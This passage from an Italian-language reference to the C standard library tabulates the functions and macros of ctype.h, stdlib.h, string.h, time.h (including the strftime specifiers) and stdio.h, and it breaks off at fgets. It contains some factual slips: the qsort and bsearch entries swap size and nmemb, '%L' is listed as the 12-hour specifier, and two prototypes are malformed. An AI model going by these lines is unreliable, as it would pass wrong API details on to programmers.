`intmax_t wcstoimax (const wchar_t *restrict wcs, wchar_t **restrict p, int base);` `uintmax_t wcstouimax (const wchar_t *restrict wcs, wchar_t **restrict p, int base);`	Converte la stringa estesa fornita come primo argomento in un numero intero, come si vede dal modello sintattico, interpretando la stringa estesa come numero espresso nella base rappresentata dal parametro ***base***. La conversione avviene fino a dove è possibile riconoscere caratteri estesi che compongono un valore valido; se il secondo argomento è un puntatore a un puntatore valido (un puntatore a un'area di memoria che può contenere a sua volta un puntatore dal tipo '**`wchar_t`**'), al suo interno viene memorizzato l'indirizzo finale della scansione, a partire dal quale si trovano caratteri estesi non decifrabili, oppure dove si trova il carattere nullo di terminazione della stringa.

File «ctype.h»

Funzione	Descrizione
`int isalnum (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere alfabetico o numerico. Equivale alla corrispondenza con ***isalpha()*** o con ***isdigit()***.
`int isalpha (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere alfabetico. Equivale alla corrispondenza con ***isupper()*** o con ***islower()***.
`int isblank (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere per la spaziatura orizzontale delle parole.
`int iscntrl (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere di controllo.
`int isdigit (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere che rappresenta una cifra decimale.
`int isgraph (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere che ha una rappresentazione grafica, escluso lo spazio.

Funzione	Descrizione
`int islower (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere alfabetico minuscolo.
`int isprint (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere che ha una rappresentazione grafica, incluso lo spazio.
`int ispunct (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere di punteggiatura.
`int isspace (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere di spaziatura, sia orizzontale, sia verticale, incluso il salto pagina e il ritorno a carrello.
`int isupper (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere alfabetico maiuscolo.
`int isxdigit (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce un valore diverso da zero se l'argomento corrisponde a un carattere che rappresenta una cifra esadecimale (espressa indifferentemente con lettere minuscole o maiuscole).
`int tolower (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce il carattere fornito come argomento, dopo la conversione in minuscolo, ammesso che ci possa essere una conversione.
`int toupper (int c);`	L'argomento rappresentato dal parametro ***c*** è un carattere senza segno convertito in un intero, oppure l'equivalente di '**`EOF`**'. La funzione restituisce il carattere fornito come argomento, dopo la conversione in maiuscolo, ammesso che ci possa essere una conversione.

File «stdlib.h»

Funzione	Descrizione

`int atoi (const char *s);`
`long int atol (const char *s);`
`long long int atoll (const char *s);`
`double atof (const char *s);`
	Converte la stringa fornita come argomento in un numero intero o in virgola mobile, come si vede dal modello sintattico.

`float strtof (const char *restrict s, char **restrict p);`
`double strtod (const char *restrict s, char **restrict p);`
`long double strtold (const char *restrict s, char **restrict p);`
	Converte la stringa fornita come primo argomento in un numero in virgola mobile, come si vede dal modello sintattico. La conversione avviene fino a dove è possibile riconoscere caratteri che compongono un valore valido; se il secondo argomento è un puntatore a un puntatore valido (un puntatore a un'area di memoria che può contenere a sua volta un puntatore dal tipo '**`char`**'), al suo interno viene memorizzato l'indirizzo finale della scansione, a partire dal quale si trovano caratteri non decifrabili, oppure dove si trova il carattere nullo di terminazione della stringa.

`long int strtol (const char *restrict s, char **restrict p, int base);`
`long long int strtoll (const char *restrict s, char **restrict p, int base);`
`unsigned long int strtoul (const char *restrict s, char **restrict p, int base);`
`unsigned long long int strtoull (const char *restrict s, char **restrict p, int base);`
	Converte la stringa fornita come primo argomento in un numero intero, come si vede dal modello sintattico, interpretando la stringa come numero espresso nella base rappresentata dal parametro ***base***. La conversione avviene fino a dove è possibile riconoscere caratteri che compongono un valore valido; se il secondo argomento è un puntatore a un puntatore valido (un puntatore a un'area di memoria che può contenere a sua volta un puntatore dal tipo '**`char`**'), al suo interno viene memorizzato l'indirizzo finale della scansione, a partire dal quale si trovano caratteri non decifrabili, oppure dove si trova il carattere nullo di terminazione della stringa.

`void srand (unsigned int seed);`	Modifica il seme per la generazione di numeri casuali attraverso la funzione ***rand()***.
`int rand (void);`	Restituisce il numero casuale successivo.
`void *malloc (size_t size);`	Richiede l'allocazione di memoria di almeno ***size*** byte, restituendo il puntatore all'inizio della stessa se l'operazione ha successo, oppure il puntatore nullo se l'allocazione fallisce.
`void *calloc (size_t nmemb, size_t size);`	Richiede l'allocazione di memoria di almeno ***nmemb*** elementi da ***size*** byte ciascuno, restituendo il puntatore all'inizio della stessa se l'operazione ha successo, oppure il puntatore nullo se l'allocazione fallisce.

Funzione	Descrizione
`void *realloc (void *ptr, size_t size);`	Richiede la riallocazione della memoria già allocata precedentemente a partire dall'indirizzo ***ptr***, in modo da avere almeno ***size*** byte, recuperando il contenuto precedente, per ciò che è possibile. La riallocazione può avvenire in corrispondenza di un indirizzo differente da quello originale, ma può fallire, restituendo così solo il puntatore nullo.
`void free (void *ptr);`	Libera la memoria allocata precedente a partire dall'indirizzo ***ptr***.
`int atexit (void (*func) (void));`	Accumula in un elenco il puntatore a una funzione che non richiede argomenti, da eseguire, assieme alle altre dell'elenco, quando viene chiamata la funzione ***exit()***. La funzione ***atexit()*** restituisce un valore numerico da intendere come *Vero* o *Falso*, a indicare se l'operazione ha avuto successo o meno.
`void exit (int status);`	Conclude il funzionamento del programma, ma prima esegue le funzioni accumulate con l'ausilio di ***atexit()***, quindi chiude i file e infine passa il valore ricevuto come argomento in modo tale che sia restituito dal programma stesso.
`void _Exit (int status);`	Conclude il funzionamento del programma in modo brutale, senza occuparsi di nulla, a parte il far sì che il programma restituisca il valore indicato come argomento.
`void abort (void);`	Produce l'emissione del segnale '**`SIGABRT`**' (*abort*) che porta alla morte del processo elaborativo.
`char *getenv (const char *name);`	Restituisce il puntatore all'inizio della stringa che rappresenta il contenuto della variabile di ambiente indicata per nome, come argomento.
`int system (const char *string);`	Esegue il comando indicato come argomento, attraverso il sistema operativo, restituendo il valore di uscita del comando stesso.

`void qsort (void *base,`
`size_t nmemb,`
`size_t size,`
`int (*compar)`
`(const void *,`
`const void *));`
	Riordina un array che inizia dall'indirizzo ***base***, essendo composto da ***size*** elementi da ***nmemb*** byte ognuno, utilizzando per il confronto la funzione ***compar***.

`void *bsearch (const void *key,`
`const void *base,`
`size_t nmemb,`
`size_t size,`
`int (*compar)`
`(const void *,`
`const void *));`
	Scandisce un array che inizia dall'indirizzo ***base***, essendo composto da ***size*** elementi da ***nmemb*** byte ognuno, il quale risulta già ordinato secondo la funzione ***compar***, alla ricerca della corrispondenza con il valore ****key***, la cui dimensione deve essere sempre di ***nmemb*** byte.

`int abs (int j);`
`long int labs (long int j);`
`long long int llabs (long long int j);`
	Restituisce il valore assoluto di ***j***.

Funzione	Descrizione

`div_t div (int` ***numeratore***`,`
`int` ***denominatore***`);`
`ldiv_t ldiv (long int` ***numeratore***`,`
`long int` ***denominatore***`);`
`lldiv_t lldiv (long long int` ***numeratore***`,`
`long long int` ***denominatore***`);`
	Restituisce il risultato della divisione dei due argomenti, in una struttura contenente il risultato intero e il resto della divisione.

`int mblen (const char *`***s***`, size_t` ***n***`);`	Restituisce la lunghezza in byte del primo carattere multibyte contenuto nella stringa fornita come primo argomento. La scansione termina comunque se raggiunge la quantità di byte indicata dal secondo argomento. Se la stringa contiene una sequenza multibyte errata o incompleta, il valore restituito è -1. Se al posto della stringa multibyte si fornisce il puntatore nullo, la funzione restituisce il valore uno o zero, a seconda che sia prevista o meno una codifica multibyte con una gestione dello stato (*shift state*).

`int mbtowc (wchar_t *restrict` ***pwc***`,`
`const char *restrict` ***s***`,`
`size_t` ***n***`);`
	Converte il carattere multibyte contenuto nella stringa ***s***, per un massimo di ***n*** byte, nel carattere esteso a cui punta ***pwc***, restituendo la quantità di byte utilizzati dalla stringa di origine, oppure -1 se si presentano errori. Se al posto della stringa ***s*** si mette il puntatore nullo, si ottiene un valore pari a uno o zero, a seconda che sia prevista o meno una codifica multibyte con una gestione dello stato (*shift state*).

`int wctomb (char *`***s***`, wchar_t` ***wc***`;`	Converte il carattere esteso ***wc*** in una sequenza multibyte che va a essere contenuta nella stringa ***s***, restituendo la quantità di byte prodotti, oppure -1 se si presentano errori. Se al posto della stringa ***s*** si mette il puntatore nullo, si ottiene un valore pari a uno o zero, a seconda che sia prevista o meno una codifica multibyte con una gestione dello stato (*shift state*).

`size_t mbstowcs (wchar_t *restrict` ***pwcs***`,`
`const char *restrict` ***s***`,`
`size_t` ***n***`);`
	Converte la stringa multibyte ***s*** nella stringa estesa ***pwcs***, producendo al massimo ***n*** caratteri estesi nella destinazione (incluso il carattere nullo di terminazione). La funzione restituisce la quantità di caratteri estesi copiati nella destinazione, escludendo il carattere nullo di terminazione, oppure l'equivalente di -1 in caso di errori. Se al posto della destinazione viene messo il puntatore nullo, l'operazione viene simulata ignorando il valore di ***n*** e senza memorizzare il risultato; pertanto è utile per contare lo spazio necessario nella destinazione.

Funzione	Descrizione
`size_t wcstombs (char *restrict s, wchar_t *restrict pwcs, size_t n);`	Converte la stringa estesa ***pwcs*** nella stringa multibyte ***s***, producendo al massimo ***n*** byte nella destinazione (incluso il carattere nullo di terminazione). La funzione restituisce la quantità di byte copiati nella destinazione, escludendo il carattere nullo di terminazione, oppure l'equivalente di −1 in caso di errori. Se al posto della destinazione viene messo il puntatore nullo, l'operazione viene simulata ignorando il valore di ***n*** e senza memorizzare il risultato; pertanto è utile per contare lo spazio necessario nella destinazione.

File «string.h»

Funzione	Descrizione
`void *memcpy (void *restrict dst, const void *restrict org, size_t n);`	Copia ***n*** caratteri a partire dall'indirizzo indicato da ***org***, per riprodurli a partire dall'indirizzo ***dst***, alla condizione che i due insiemi non risultino sovrapposti. La funzione restituisce l'indirizzo ***dst***.
`void *memmove (void *dst, const void *org, size_t n);`	Copia ***n*** caratteri a partire dall'indirizzo indicato da ***org***, per riprodurli a partire dall'indirizzo ***dst***, senza il vincolo che gli insiemi siano disgiunti. La funzione restituisce l'indirizzo ***dst***.
`char *strcpy (char *restrict dst, const char *restrict org);`	Copia la stringa ***org*** nell'array a cui punta ***dst***, includendo anche il carattere nullo di conclusione delle stringhe, alla condizione che le due stringhe non si sovrappongano. La funzione restituisce ***dst***.
`char *strncpy (char *restrict dst, const char *restrict org, size_t n);`	Copia ***n*** caratteri della stringa ***org*** nell'array a cui punta ***dst***, contando tra i caratteri copiati anche il carattere nullo di conclusione delle stringhe, alla condizione che le due stringhe non si sovrappongano. Se la stringa di origine è più corta di ***n***, i caratteri mancanti sono rimpiazzati dal carattere nullo di conclusione delle stringhe. La funzione restituisce ***dst***.
`char *strcat (char *restrict dst, const char *restrict org);`	Copia la stringa ***org*** a partire dalla fine della stringa ***dst*** (sovrascrivendo il carattere nullo preesistente), alla condizione che le due stringhe non siano sovrapposte. La funzione restituisce ***dst***.
`char *strncat (char *restrict dst, const char *restrict org, size_t n);`	Copia al massimo ***n*** caratteri della stringa ***org*** a partire dalla fine della stringa ***dst*** (sovrascrivendo il carattere nullo preesistente), aggiungendo alla fine il carattere nullo di terminazione, il tutto alla condizione che le due stringhe non siano sovrapposte. La funzione restituisce ***dst***.
`int memcmp (const void *s1, const void *s2, size_t n);`	Confronta i primi ***n*** caratteri delle aree di memoria a cui puntano ***s1*** e ***s2***, restituendo: un valore pari a zero se le due sequenze si equivalgono; un valore maggiore di zero se la sequenza di ***s1*** è maggiore di ***s2***; un valore minore di zero se la sequenza di ***s1*** è minore di ***s2***.

Funzione	Descrizione
`int strcmp (const char *s1, const char *s2);`	Confronta due stringhe restituendo: un valore pari a zero se sono uguali; un valore maggiore di zero se la stringa ***s1*** è maggiore di ***s2***; un valore minore di zero se la stringa ***s1*** è minore di ***s2***.
`int strcoll (const char *s1, const char *s2);`	La funzione ***strcoll()*** è analoga a ***strcmp()***, con la differenza che la comparazione avviene sulla base della configurazione locale (la categoria '**`LC_COLLATE`**'). Nel caso della configurazione locale '**`C`**' la funzione si comporta esattamente come ***strcmp()***.
`int strncmp (const char *s1, char *s2, size_t n);`	La funzione ***strncmp()*** si comporta in modo analogo a ***strcmp()***, con la differenza che la comparazione si arresta al massimo dopo ***n*** caratteri.
`size_t strxfrm (char *restrict dst, const char *restrict org, size_t n);`	La funzione ***strxfrm()*** trasforma la stringa ***org*** sovrascrivendo la stringa ***dst*** in modo relativo alla configurazione locale. In pratica, la stringa trasformata che si ottiene può essere comparata con un'altra stringa trasformata nello stesso modo attraverso la funzione ***strcmp()*** ottenendo lo stesso esito che si avrebbe confrontando le stringhe originali con la funzione ***strcoll()***.
`void *memchr (const void *s, int c, size_t n);`	Cerca un carattere a partire da una certa posizione in memoria, scandendo al massimo una quantità determinata di caratteri, restituendo il puntatore al carattere trovato. Se nell'ambito specificato non trova il carattere, restituisce il puntatore nullo.
`char *strchr (const char *s, int c);`	Cerca un carattere all'interno di una stringa, restituendo il puntatore al carattere trovato, oppure il puntatore nullo se la ricerca fallisce. Nella scansione viene preso in considerazione anche il carattere nullo di terminazione della stringa.
`char *strrchr (const char *s, int c);`	Cerca un carattere all'interno di una stringa, restituendo il puntatore all'ultimo carattere corrispondente trovato, oppure il puntatore nullo se la ricerca fallisce. Nella scansione viene preso in considerazione anche il carattere nullo di terminazione della stringa.
`size_t strspn (const char *s, const char *accept);`	Calcola la lunghezza massima iniziale della stringa ***s***, composta esclusivamente da caratteri contenuti nella stringa ***accept***, restituendo tale valore.
`size_t strcspn (const char *s, const char *reject);`	Calcola la lunghezza massima iniziale della stringa ***s***, composta esclusivamente da caratteri differenti da quelli contenuti nella stringa ***reject***.
`char *strpbrk (const char *s, const char *accept);`	Scandisce la stringa ***s*** alla ricerca del primo carattere che risulti contenuto nella stringa ***accept***, restituendo il puntatore al carattere trovato, oppure, in mancanza di alcuna corrispondenza, il puntatore nullo.
`char *strstr (const char *string, const char *substring);`	Cerca la stringa ***substring*** nella stringa ***string*** restituendo il puntatore alla prima corrispondenza trovata (nella stringa ***string***). Se la corrispondenza non c'è, la funzione restituisce il puntatore nullo.

Funzione	Descrizione
`char *strtok (char *restrict string, const char *restrict delim);`	Serve a suddividere una stringa in unità, definite *token*, specificando un elenco di caratteri da intendere come delimitatori, in una seconda stringa. La funzione va usata in fasi successive, fornendo solo inizialmente la stringa da suddividere che continua poi a essere utilizzata se al suo posto viene fornito il puntatore nullo. La funzione restituisce, di volta in volta, il puntatore alla sottostringa contenente l'unità individuata, oppure il puntatore nullo, se non può trovarla.
`void *memset (void *s, int c, size_t n);`	Inizializza una certa area di memoria, a partire dall'indirizzo ***s***, con la ripetizione del carattere ***c***, tradotto in un carattere senza segno, copiandolo per ***n*** volte. La funzione restituisce ***s***.
`char *strerror (int errnum);`	Trasforma un numero nella descrizione del tipo di errore corrispondente.
`size_t strlen (const char *s);`	Calcola la lunghezza di una stringa, escludendo dal conteggio il carattere nullo di terminazione.

File «time.h»

Funzione	Descrizione
`clock_t clock (void);`	Restituisce il tempo di CPU espresso in unità '`clock_t`', utilizzato dal processo elaborativo a partire dall'avvio del programma. Se la funzione non è in grado di dare questa indicazione, allora restituisce il valore -1, o più precisamente '`(clock_t) (-1)`'.
`time_t time (time_t *timer);`	Determina il tempo attuale secondo il calendario del sistema operativo, restituendolo nella forma del tipo '`time_t`'. Se il puntatore di tipo '`time_t *`' è valido, la stessa informazione che viene restituita viene anche memorizzata nell'indirizzo indicato da tale puntatore.
`double difftime (time_t time1, time_t time0);`	Calcola la differenza tra due date, espresse in forma '`time_t`', restituendo l'intervallo in secondi.

Funzione	Descrizione
`time_t mktime (struct tm *`***timeptr***`);`	Riceve come argomento il puntatore a una variabile strutturata di tipo '**`struct tm`**', contenente le informazioni sull'ora locale, e determina il valore di quella data secondo la rappresentazione interna, di tipo '**`time_t`**'. La funzione non tiene conto del giorno della settimana e del giorno dell'anno; inoltre, ammette anche valori al di fuori degli intervalli stabiliti per i vari membri della struttura; infine, considera un valore negativo per il membro '***timeptr***`->`**`tm_isdst`**' come la richiesta di determinare se sia o meno in vigore l'ora estiva per la data indicata. Se la funzione non è in grado di restituire un valore rappresentabile nel tipo '**`time_t`**', o comunque se non può eseguire il suo compito, restituisce il valore -1, o più precisamente '**`(time_t) (-1)`**'. Se invece tutto procede regolarmente, la funzione provvede anche a correggere i valori dei vari membri della struttura e a ricalcolare il giorno della settimana e dell'anno.
`struct tm *gmtime (const time_t *`***timer***`);`	Converte una data espressa nella forma del tipo '**`time_t`**', in una data suddivisa nella struttura '**`tm`**', relativa al tempo universale coordinato (UTC).
`struct tm *localtime` `(const time_t *`***timer***`);`	Converte una data espressa nella forma del tipo '**`time_t`**', in una data suddivisa nella struttura '**`tm`**', relativa all'ora locale.
`char *asctime (const struct tm *`***timeptr***`);`	Converte un'informazione data-orario, espressa nella forma di una struttura '**`struct tm`**', in una stringa che esprime l'ora locale, usando però una rappresentazione fissa in lingua inglese.
`char *ctime (const time_t *`***timer***`);`	Converte un'informazione data-orario, espressa nella forma del tipo '**`time_t`**', in una stringa che esprime l'ora locale, usando però una rappresentazione fissa in lingua inglese.

`size_t strftime`
`(char * restrict `***s***`,`
`size_t `***maxsize***`,`
`const char * restrict `***format***`,`
`const struct tm * restrict `***timeptr***`);`
	Interpreta il contenuto di una struttura di tipo '**`struct tm`**' e lo traduce in un testo, secondo una stringa di composizione libera. Il comportamento è affine a quello di ***printf()***, dove l'input è costituito dalla struttura contenente le informazioni data-orario.

Specificatore di conversione	Corrispondenza
`%C`	*century* Il secolo, ottenuto dividendo l'anno per 100 e ignorando i decimali.
`%y` `%Y`	*year* L'anno: nel primo caso si mostrano solo le ultime due cifre, mentre nel secondo si mostrano tutte.
`%b` | `%h` `%B`	Rispettivamente, il nome abbreviato e il nome per esteso del mese.

Specificatore di conversione	Corrispondenza
`%m`	*month* Il numero del mese, da 01 a 12.
`%d` `%e`	*day* Il giorno del mese, in forma numerica, da 1 a 31, utilizzando sempre due cifre: nel primo caso si aggiunge eventualmente uno zero; nel secondo si aggiunge eventualmente uno spazio.
`%a` `%A`	Rispettivamente, il nome abbreviato e il nome per esteso del giorno della settimana.
`%H` `%L`	*hour* L'ora, espressa rispettivamente a 24 ore e a 12 ore.
`%p`	La sigla da usare, secondo la configurazione locale, per specificare che si tratta di un'ora antimeridiana o pomeridiana. Nella convenzione inglese si ottengono, per esempio, le sigle «AM» e «PM».
`%r`	L'ora espressa a 12 ore, completa dell'indicazione se trattasi di ora antimeridiana o pomeridiana, secondo le convenzioni locali.
`%R`	L'ora e i minuti, equivalente a '**`%H:%M`**'.
`%M`	*minute* I minuti, da 00 a 59.
`%S`	*second* I secondi, espresso con valori da 00 a 60.
`%T`	*time* L'ora, i minuti e i secondi, equivalente a '**`%H:%M:%S`**'.
`%z` `%Z`	*time zone* La rappresentazione del fuso orario, nel primo caso come distanza dal tempo coordinato universale (UTC), mentre nel secondo si usa una rappresentazione conforme alla configurazione locale.
`%j`	*julian* Il giorno dell'anno, usando sempre tre cifre numeriche: da 001 a 366.
`%g` `%G`	L'anno a cui appartiene la settimana secondo lo standard ISO 8601: nel primo caso si mostrano solo le ultime due cifre, mentre nel secondo si ha l'anno per esteso. Secondo lo standard ISO 8601 la settimana inizia con lunedì e la prima settimana dell'anno è quella che include il 4 gennaio.
`%V`	Il numero della settimana secondo lo standard ISO 8601. I valori vanno da 01 a 53. Secondo lo standard ISO 8601 la settimana inizia con lunedì e la prima settimana dell'anno è quella che include il 4 gennaio.
`%u` `%w`	Il giorno della settimana, espresso in forma numerica, dove, rispettivamente, si conta da 1 a 7, oppure da 0 a 6. Zero e sette rappresentano la domenica; uno è il lunedì.
`%U` `%W`	Il numero della settimana, contando, rispettivamente, dalla prima domenica o dal primo lunedì di gennaio. Si ottengono cifre da 00 a 53.
`%x`	La data, rappresentata secondo le convenzioni locali.
`%X`	L'ora, rappresentata secondo le convenzioni locali.

Specificatore di conversione	Corrispondenza
`%c`	La data e l'ora, rappresentate secondo le convenzioni locali.
`%D`	*date* La data, rappresentata come '**`%m/%d/%Y`**'.
`%F`	La data, rappresentata come '**`%Y-%m-%d`**'.
`%n`	Viene rimpiazzato dal codice di interruzione di riga.
`%t`	Viene rimpiazzato da una tabulazione orizzontale.
`%%`	Viene rimpiazzato da un carattere di percentuale.

File «stdio.h» per la gestione dei file e degli errori

Macro-variabile	Significato mnemonico	Descrizione
`_IOFBF`	*input output fully buffered*	Indica simbolicamente la richiesta di utilizzo di una memoria tampone a blocchi.
`_IOLBF`	*input output line buffered*	Indica simbolicamente la richiesta di utilizzo di una memoria tampone gestita a righe di testo.
`_IONBF`	*input output with no buffering*	Indica simbolicamente la richiesta di non utilizzare alcuna memoria tampone.
`BUFSIZE`	*buffer size*	Rappresenta la dimensione predefinita della memoria tampone.
`EOF`	*end of file*	È un numero intero di tipo '**`int`**', negativo, che rappresenta il raggiungimento della fine del file. È in pratica ciò che si ottiene leggendo oltre la fine del file.
`FOPEN_MAX`	*file open max*	Il numero di file che un processo elaborativo può aprire simultaneamente, in base alle limitazioni poste dal sistema operativo.
`FILENAME_MAX`		La dimensione di un array di elementi '**`char`**', tale da essere abbastanza grande da contenere il nome del file più lungo (incluse le eventuali sequenze multibyte) che il sistema consenta di gestire.
`L_tmpnam`	*temporary name*	La dimensione di un array di elementi '**`char`**', tale da essere abbastanza grande da contenere il nome di un file temporaneo generato dalla funzione ***tmpnam()***.
`SEEK_CUR`	*seek current*	Indica di eseguire un posizionamento a partire dalla posizione corrente del file.
`SEEK_END`		Indica di eseguire un posizionamento a partire dalla fine di un file.
`SEEK_SET`		Indica di eseguire un posizionamento a partire dall'inizio di un file.
`TMP_MAX`		Rappresenta la quantità massima di nomi di file differenti che possono essere generati dalla funzione ***tmpnam()***.

Modalità di accesso ai file	Mnemonico	Descrizione
`r`	*read*	Accesso in sola lettura di un file di testo.
`w`	*write*	Accesso a un file di testo in scrittura, che implica la creazione del file all'apertura, ovvero il suo troncamento a zero, se esiste già.
`a`	*append*	Accesso a un file di testo in aggiunta, che implica la creazione del file all'apertura, ovvero la sua estensione se esiste già.

`rb`
`wb`
`ab`
	binary	Accesso in lettura, scrittura o aggiunta, ma di tipo binario.

`r+`
`w+`
`a+`
	update	Accesso a un file di testo in lettura, scrittura o aggiunta, assieme alla modalità di aggiornamento. In pratica, con la lettura è consentita anche la scrittura; con la scrittura e l'aggiunta è consentita anche la rilettura.

`rb+` | `r+b`
`wb+` | `w+b`
`ab+` | `a+b`
		Accesso a un file binario in lettura, scrittura o aggiunta, assieme alla modalità di aggiornamento. In pratica, con la lettura è consentita anche la scrittura; con la scrittura e l'aggiunta è consentita anche la rilettura. Si può osservare che il segno '**+**' può essere messo indifferentemente in mezzo o alla fine.

Funzione	Descrizione
`int remove (const char *`***filename***`);`	Cancella il file il cui nome viene fornito come argomento. Il nome del file va espresso secondo le convenzioni del sistema operativo. Restituisce zero se l'operazione ha successo, altrimenti un valore differente.
`int rename (const char *`***old***`,` `const char *`***new***`);`	Cambia il nome del file indicato come primo argomento, in modo che assuma quello del secondo argomento. Se l'operazione avviene con successo restituisce zero, altrimenti produce un valore differente.
`FILE *tmpfile (void);`	Crea e apre un file temporaneo binario in aggiornamento ('**wb+**'), restituendone il puntatore. Se il file temporaneo non può essere creato, la funzione restituisce il puntatore nullo.
`char *tmpnam (char *`***s***`);`	Genera il nome di un file che può essere usato come file temporaneo. La funzione richiede come argomento un array di almeno '**L_tmpnam**' caratteri, da usare per scriverci il nome e per restituirne il puntatore. Se alla funzione viene passato il puntatore nullo, allora questa usa un'area di memoria statica che viene sovrascritta a ogni chiamata successiva della funzione stessa. Se la funzione non può eseguire il suo lavoro, restituisce il puntatore nullo.

Funzione	Descrizione
`FILE *fopen (const char *restrict` ***filename***`,` `const char *restrict` ***io_mode***`);`	Apre il file indicato come primo argomento, secondo la modalità espressa dalla stringa che costituisce il secondo argomento, restituendo il puntatore che ne rappresenta il flusso aperto. Se l'operazione fallisce la funzione restituisce il puntatore nullo e aggiorna il valore della variabile globale ***errno***.

`FILE *freopen (const char *restrict` ***filename***`,`
`const char *restrict` ***io_mode***`,`
`FILE *restrict` ***stream***`);`
	Apre il file indicato come primo argomento, secondo la modalità espressa dalla stringa che costituisce il secondo argomento, utilizzando il flusso di file individuato dal puntatore che costituisce l'ultimo argomento, restituendo lo stesso puntatore. Se il puntatore indicato come ultimo argomento riguarda un flusso di file ancora aperto, questo viene chiuso e quindi riaperto. Se l'operazione fallisce la funzione restituisce il puntatore nullo e aggiorna il valore della variabile globale ***errno***. Lo scopo di questa funzione è quello di ridirigere i flussi di file, associando file differenti.

`int fclose (FILE *`***stream***`);`	Chiude il flusso di file individuato dal puntatore che costituisce l'argomento della funzione. La funzione restituisce il valore zero se l'operazione ha successo, altrimenti produce il valore corrispondente alla macro-variabile ***EOF***. Va sottolineato che un flusso già chiuso non deve essere chiuso nuovamente, perché in tal caso l'effetto che se ne produce è imprecisato.

`int setvbuf (FILE *restrict` ***stream***`,`
`char *restrict` ***buffer***`,`
`int` ***buf_mode***`,`
`size_t` ***size***`);`
	Attribuisce una memoria tampone a un file che è appena stato aperto e per il quale non è ancora stato eseguito alcun accesso. Il primo argomento della funzione è il puntatore al flusso relativo e il secondo è il puntatore all'inizio dell'array di caratteri da usare come memoria tampone. Se al posto del riferimento alla memoria tampone si indica un puntatore nullo, si intende che la funzione debba allocare automaticamente lo spazio necessario; se invece l'array viene fornito, è evidente che deve rimanere disponibile per tutto il tempo in cui il flusso rimane aperto.
	Il terzo argomento atteso dalla funzione è un numero che esprime la modalità di funzionamento della memoria tampone. Questo numero viene fornito attraverso l'indicazione di una tra le macro-variabili ***_IOFBF***, ***_IOLBF*** e ***_IONBF***. Il quarto argomento indica la dimensione dell'array da usare come memoria tampone: se l'array viene fornito effettivamente, si tratta della dimensione che può essere utilizzata; altrimenti è la dimensione richiesta per l'allocazione automatica.
	La funzione restituisce zero se l'operazione richiesta è eseguita con successo; diversamente restituisce un valore differente.

Funzione	Descrizione
`void setbuf (FILE *restrict stream, char *restrict buffer);`	Si tratta di una versione semplificata di '**`setvbuf()`**' che non restituisce alcun valore, che prevede implicitamente una modalità di gestione completa della memoria tampone ('**`_IOFBF`**'), che richiede implicitamente un array di '**`BUFSIZ`**' elementi. Anche in questo caso, se l'argomento corrispondente al parametro ***buffer*** è un puntatore nullo, l'allocazione avviene in modo automatico.
`int fflush (FILE *stream);`	Scarica la memoria tampone del flusso di file indicato, procedendo così alla memorizzazione dei dati rimasti in sospeso. Restituisce zero se l'operazione viene completata con successo, altrimenti restituisce il valore corrispondente alla macro-variabile ***EOF***.
`int fgetc (FILE *stream);` `int getc (FILE *stream);`	Legge un carattere (senza segno) dal flusso di file indicato come argomento e ne restituisce il valore numerico (positivo). Se l'operazione fallisce, la funzione restituisce il valore corrispondente alla macro-variabile ***EOF***. Tradizionalmente, ***fgetc()*** è sempre una funzione, mentre ***getc()*** potrebbe essere una macro-istruzione che valuta anche più volte l'espressione che costituisce l'argomento.
`int ungetc (int c, FILE *stream);`	Rimanda indietro il carattere ***c*** nel flusso di file ***stream***; in altri termini dovrebbe annullare l'effetto dell'ultima chiamata a una funzione ***fgetc()*** o ***getc()***.
`int fputc (int c, FILE *stream);` `int putc (int c, FILE *stream);`	Scrive un carattere, rappresentato dal primo argomento, nel flusso di file indicato come secondo argomento, restituendo lo stesso valore del carattere scritto, se l'operazione si conclude con successo, oppure il valore corrispondente a '**`EOF`**' se l'operazione fallisce. Tradizionalmente, ***fputc()*** è sempre una funzione, mentre ***putc()*** potrebbe essere una macro-istruzione che valuta anche più volte le espressioni che costituiscono gli argomenti.
`int putchar (int c);`	Scrive un carattere, rappresentato dall'argomento, nello standard output, restituendo lo stesso valore del carattere scritto, se l'operazione si conclude con successo, oppure il valore corrispondente a '**`EOF`**' se l'operazione fallisce. Tradizionalmente si tratta di una macro-istruzione che valuta anche più volte l'espressione che costituisce l'argomento.

Funzione	Descrizione

`char *fgets (char *restrict s,`
`int n,`
`FILE *restrict stream);`
